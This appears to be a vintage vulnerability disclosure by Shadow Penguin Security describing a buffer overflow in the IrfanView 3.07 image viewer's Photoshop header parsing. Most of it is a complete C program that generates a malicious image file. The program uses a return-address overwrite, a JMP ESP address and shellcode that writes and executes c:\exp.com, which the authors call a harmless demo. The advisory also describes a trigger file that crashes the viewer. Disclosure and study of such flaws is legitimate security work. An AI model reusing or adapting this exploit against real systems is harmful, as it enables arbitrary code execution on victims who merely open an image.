The popular Image viewer "Irfan View32" contains the buffer overflow
problem, this problem exists in the handling of  Adobe Photoshop image
file. Irfan view checks the image type by the image header, if "8BPS"
pattern is found in the header, Irfan view judges this file as Photo
Shop image. We think the overflow happens at the handling of reading 
this marker.

You can see the GPF dialog box by the following file.

8BPSaaaaaaaaaaaaaa .... long 'a'

#You can make this file by notepad.exe

This overflow is exploitable if the appropriate value is stored in the
stack area, any codes such as virus, trojans, destruction code, which is
stored in the image file can be executed.  

This fact means that the danger also exists on downloding the image
files and viewing them. Of course, there is a possibility of such danger
also in other software such as movie players, audio players. We coded
the following sample codes. This code generates the jpg file which
contains the exploit code that generates "exp.com" in "c:\" and executes
it("exp.com" is a simple demo program, there is no danger).

This is tested on Japanese Windows98 only.

---
/*=============================================================================
   Irfan View 3.07 Exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/

#include    <stdio.h>
#include    <string.h>
#include    <windows.h> 

#define     MAXBUF          0x22e0
#define     RETADR          0x31E
#define     FAKE_ADR        0x80101010  // Writable buffer pointer

#define     JMPESP_ADR      0xbffca4f7  // You have to change this value
                                        // for non-Japanese Windows98.
#define     HEAD            "8BPS\0"

unsigned char   exploit_code[300]={
 0xEB,0x4F,0x5F,0x32,0xC0,0x88,0x47,0x0A,0x88,0x47,0x10,0x88,0x47,0x17,0x88,0x47,
 0x1E,0x88,0x47,0x23,0x88,0x47,0x26,0x88,0x47,0x2D,0x88,0x47,0x3C,0x57,0xB8,0x50,
 0x77,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xDB,0xB3,0x0B,0x8B,0xC7,0x03,0xC3,0x50,
 0x56,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xC8,0x33,0xDB,0xB3,0x24,0x8B,0xC7,
 0x03,0xC3,0x50,0xB3,0x32,0x8B,0xC7,0x03,0xC3,0x50,0xFF,0xD1,0x89,0x47,0x2E,0xEB,
 0x02,0xEB,0x71,0x33,0xDB,0xB3,0x18,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,
 0xF7,0xBF,0xFF,0xD0,0x8B,0xC8,0x8B,0x47,0x2E,0x50,0x33,0xC0,0xB0,0x03,0x90,0x90,
 0x50,0xB0,0x01,0x50,0x33,0xDB,0xB3,0x3D,0x03,0xDF,0x53,0xFF,0xD1,0x33,0xDB,0xB3,
 0x11,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0x5F,
 0x2E,0x53,0xFF,0xD0,0x33,0xDB,0xB3,0x27,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,
 0x6E,0xF7,0xBF,0xFF,0xD0,0x33,0xDB,0xB3,0x32,0x8B,0xCF,0x03,0xCB,0x51,0xFF,0xD0,
 0x33,0xDB,0x53,0xB3,0x1F,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,0xF7,0xBF,
 0xFF,0xD0,0xFF,0xD0,0xE8,0x39,0xFF,0xFF,0xFF,0x00
};

// "exp.com"
unsigned char   exploit_data[1000]={
0xb0,0x13,0xcd,0x10,0xb0,0x0f,0xfe,0xc0,0xb4,0x0c,0xcd,0x10,0x03,0xd1,0x41,0x3c,
0x20,0x77,0xf1,0xeb,0xf1,0x00
};

int  GetProcAddress_fcp[4]={0x32,0x5e,0x88,0xbc};

char string_buffer[1000]  ="msvcrt.dll_fopen_fclose_fwrite_exit_wb_system_****";
char filename[100]        = "c:\\exp.com";

main(int argc,char *argv[])
{
    unsigned char   buf[MAXBUF],l1,l2;
    unsigned int    ip,p1,p2,i;
    FILE            *fp;
    
    if (argc<2){
        printf("usage : %s outputfile\n",argv[0]);
        exit(1);
    }
    memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
    memcpy(buf,HEAD,4);
    
    ip=JMPESP_ADR;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    buf[RETADR+6]=0xeb;
    buf[RETADR+7]=0x04;

    ip=FAKE_ADR;
    buf[RETADR+8]=ip&0xff;
    buf[RETADR+9]=(ip>>8)&0xff;
    buf[RETADR+10]=(ip>>16)&0xff;
    buf[RETADR+11]=(ip>>24)&0xff;
    
    p1=(unsigned int)LoadLibrary;
    p2=(unsigned int)GetProcAddress;
    exploit_code[0x1f]=p1&0xff;
    exploit_code[0x20]=(p1>>8)&0xff;
    exploit_code[0x21]=(p1>>16)&0xff;
    exploit_code[0x22]=(p1>>24)&0xff;

    for (i=0;i<4;i++){
        exploit_code[GetProcAddress_fcp[i]  ]=p2&0xff;
        exploit_code[GetProcAddress_fcp[i]+1]=(p2>>8)&0xff;
        exploit_code[GetProcAddress_fcp[i]+2]=(p2>>16)&0xff;
        exploit_code[GetProcAddress_fcp[i]+3]=(p2>>24)&0xff;
    }

    l1=strlen(filename)+strlen(string_buffer);
    l2=strlen(exploit_data);
    strcat(string_buffer,filename );
    strcat(string_buffer,"_" );
    strcat(string_buffer,exploit_data );
    strcat(exploit_code, string_buffer );
    exploit_code[0x1c]  = l1;
    exploit_code[0x6d]  = l2;
    exploit_code[0x77]  = l1+1;

    memcpy(buf+RETADR+12,exploit_code,strlen(exploit_code));

    if ((fp=fopen(argv[1],"wb"))==NULL){
        printf("Can not write file '%s'\n",argv[1]);
        exit(1);
    }
    
    fwrite(buf,1,MAXBUF,fp);
    fclose(fp);
    printf("Done.\n");
    return FALSE;
}

-----
UNYUN
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
   shadowpenguin@backsection.net (webmaster)
% eEye Digital Security Team [ http://www.eEye.com ]
   unyun@eEye.com